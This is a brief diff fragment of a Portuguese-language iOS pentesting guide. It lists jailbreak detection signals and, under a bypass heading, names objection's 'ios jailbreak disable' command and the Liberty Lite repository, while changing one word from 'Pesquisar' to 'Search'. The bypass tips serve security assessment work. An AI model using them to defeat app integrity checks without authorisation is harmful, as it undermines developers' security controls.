+- Algumas **chamadas de API** **comportarão-se de maneira diferente**.
 - A presença do serviço **OpenSSH**.
 - Chamar `/bin/sh` retornará **1** em vez de 0.

@ -119,7 +123,7 @@ Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak
 ## **Bypass de Detecção de Jailbreak**

 - Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak disable`
- Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Pesquisar’
+- Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Search’

 ## Referências